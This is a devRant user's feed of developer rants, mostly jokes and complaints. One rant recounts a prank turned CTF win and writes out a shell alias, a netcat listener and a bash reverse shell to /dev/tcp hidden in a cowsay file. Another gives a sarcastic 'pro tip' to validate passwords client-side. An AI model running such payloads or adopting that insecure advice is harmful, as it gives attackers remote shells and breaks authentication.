Details
-
Abouta geek diggin' deep
-
SkillsJava dev, Linux/UNIX sysadmin, performance engineer
-
LocationLithuania
-
Github
Joined devRant on 2/26/2018
Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
So, I'm tired of Sid. For a while. So, a while back, I decided kick him in the balls. So, I took an airplane to India. It was easy to find his house, his stupid elephant that he uses for doing groceries was parked outside. I stormed in his house and there he was, sleeping on the couch. The situation was perfect. I kicked as hard as I could but damn, it was like kicking a pussy. That was weird. So I went investigating it. No balls, not at all. Good, at least it won't reproduce. With a smile, I walked of his house and stole his mediocre elephant which I later gave away to an Indian on the airport that did had an elephant yet. The elephant kinda sucked, but you should not watched a free elephant in the mouth. Speaking about mouth, stop eating in your streams Sid. Sorry, got distracted. After giving away the overrated elephant I took the airplane home satisfied.
I swear on his mother that this all really happened.
Also, i left a burger under his pillow.9 -
Today I wrote: a mousetrail program. lol
<html>
<head>
<title>mouse trail</title>
</head>
<body>
<script>
/* elements */
let elements = [];
for(let i=0; i<5; i++) {
let div = document.createElement("div");
div.style.position = "absolute";
div.style.left += (30*i) + "px";
div.style.width = "10px";
div.style.height = "10px";
div.style.backgroundColor = "blue";
elements[i] = div;
document.body.appendChild(div);
}
/* mousex, mousey */
document.body.addEventListener("mousemove", event => {
let mouseX = event.clientX;
let mouseY = event.clientY;
for(let i=0; i<elements.length; i++) {
/* timeout */
setTimeout(() => { elements[i].style.left = mouseX + (10*i)}, (50*i));
setTimeout(() => { elements[i].style.top = mouseY + (10*i)}, (50*i));
}
});
</script>
</body>
</html>8 -
Caching is a cruel mistress.
I've probably said that before, but I can't remember whether I've said it before or not, because caching is a cruel mistress.5 -
I know I have a problem with asking for help. I'm aware it's a problem, I want to solve it, and I'm trying, but this is easier said than done.
In my defense however, the issues I'd need to ask for help with are completely absurd. We have a shared Feature environment with a shared database. A push to any feature branch auto-applies migrations to this database, so it's full of broken script output. Tests are supposed to use this database. We do not have full rights to edit this database so we can't try and fix the issues. Instead, the database is reset from production once a week, discarding all changes including anything we deliberately put there for testing. I asked who broke the database and if they could fix it please, somebody responded with freeform text roughly describing the fixes _I should apply to fix HIS TEAM'S mess_, which didn't include any technical identifiers and referred to tables and columns exclusively via vague approximate names.
He then posted a screenshot of an e-mail from about a month ago in which HE complained to MY team lead about how "some people" keep breaking the database, which contained no examples and no suggestions, but was sent immediately after the first time this year that we actually properly broke the shared database. By that point they were past their 10th broken migration that warranted an early restore.7 -
losing a contract should not feel like being fired, but when it's half your income it certainly does feel a lot like it.16
-
github u absolute piece of shit let me see the exact day a version was tagged , i dont want to see 3 weeks ago, hovering and clicking doesnt do shit https://github.com/aws/...5
-
PRO TIP: Always save the user password client side, validate it there and send a boolean to the server. It reduces backend load times and unnecessary calculations/computations.12
-
Diary of an obsessed company.
So at our company, the interview loop includes Sudoku.
Why?
Because if you can’t solve a puzzle with numbers, how are you going to survive when product throws 47 Jira tickets at you with conflicting priorities?
We know you will want to ask:
“Uh… what does Sudoku have to do with shipping features?”
Our response to you is:
“Well… if you put a 3 where a 7 should be, the whole board collapses.
Same thing happens if you deploy on Friday at 4:59pm.”
Next:
We interviewed a candidate
He solved the puzzle.
We hired him.
He still deploys on Friday and can't close tickets. 😔😔😔
🔥 Fire him!!!!! 😆 🤣 😂 😹8 -
... I remember thinking programming is amazing because everything is possible in it
in rust, nothing is possible24 -
A PCIe gen 7 1x slot has roughly the same data rate as a gen 3 16x slot.
Let me guess what that much bandwidth can ever be used for? AI 😑5 -
Fuck, maybe some of ostreams retardation is rubbing off on me but I'm watching stuff about monsanto right now and I need to stop myself imagining doing a "little tomfoolery" to their management and ceo
Am I turning into a reactionary libtard? Maybe its not so bad after all...8 -
HTTP/3 requires TLS. Wouldn't this make it drastically less economical to run a reverse-proxy? Are 4 unnecessary cryptographic operations per request not significant? What about the bandwidth overhead of rounding up the length of responses like `HTTP 200 OK\r\nContent-Length: 2\r\n\r\n{}` which make up a majority of all traffic to the nearest encrypted block?9
-
.rep:
Fixing old bits of code for my build tool so I can extend the damn thing and I'm throwing away so much shit. Can't stop man.
Pretty crazy as this code is, IIRC, 2 to 4 years old at most. And I am sure that I was feeling like an absolute legend when I wrote this ignominious fucking garbage, as in it is quite clever, just in a downright dogshit kind of way.
So I'm hacking away at this eternal monument to the abstract gonorrhea-infected bleeding and fully dilated defecating anus that are my past decisions, and I'm wondering, have I actually learned to write simpler code or am I just gonna repeat this process a few years down the road and get stuck in some kind of funky chronodisplacement self-sodomizing limbo.
Well, for one, I *am* very much simplifying the code because most of it I'm just outright deleting, and what I have to replace or rewrite is fairly succinct, so I'm feeling good about that. Second, and get this, now I have the advantage that I've actually used this piece of shit for a few years so I have the benefit of knowing where I fucked up from a user perspective, which is invaluable.
Yeah, I think I nailed it this time. No more fucking around; pinky-promise.
jmp .rep1 -
If weed can damage your short term memory, imagine what weed can do to you.
Stay away from weed!! It does something to you but I forgot what.5 -
Turns out it wasn't the RAM nor the graphics card but the barely used NVME (that I recently started using with linux as boot) that was causing random crashes.
Very tempted to still just replace the whole thing...
Nothing too important on there other than my bash history and LLM models8 -
I finally got a refund for my Purism Libre 5. It only took SIX FUCKING YEARS!
Fuck Purism. That company should die in a fire.
https://battlepenguin.com/tech/...3 -
Like many of us, tired of hearing the expressions: "infused with A.I.", "powered by A.I.", "augmented with A.I.", "A.I.-first", etc.6
-
Guys, chatgpt seems not to be working. Princess is able to answer all your questions! It's grok, so less woke and has rant context. It is possible to say: @princess, fact check what @whimsacle said in last message. Who is the most accurate @pony or @pany? Questions do not have to be related, it's just optional info that it has before answering your question.55
-
Zig needs to get its shit together frankly.
I know the guy wants to perfect his little design, but has he never considered the fact that the shifting sands of perfection will never align for him?
Instead of working on making progress with the design he already established, he just keeps going back and changing fundamental parts as he sees fit and never making any forwards prog-
oh my god he's me.11 -
Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:
alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'
So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.
But still, harmless prank, right? Right? Well…
His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.
How did I win? First, I opened the good old Netcat on my end:
nc -lvnp 1337
…then temporarily replaced Borat's face with a juicy payload:
exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";
Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.
Moral of the story?
🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.
GREAT SUCCESS! 🎉
12 -
So if you work a remote job would you create a virtual machine to act as the device which connects to any remote employer systems? It seems like that would be ideal to keep personal separated from company data and software.
I suppose it depends upon employer requirements.10




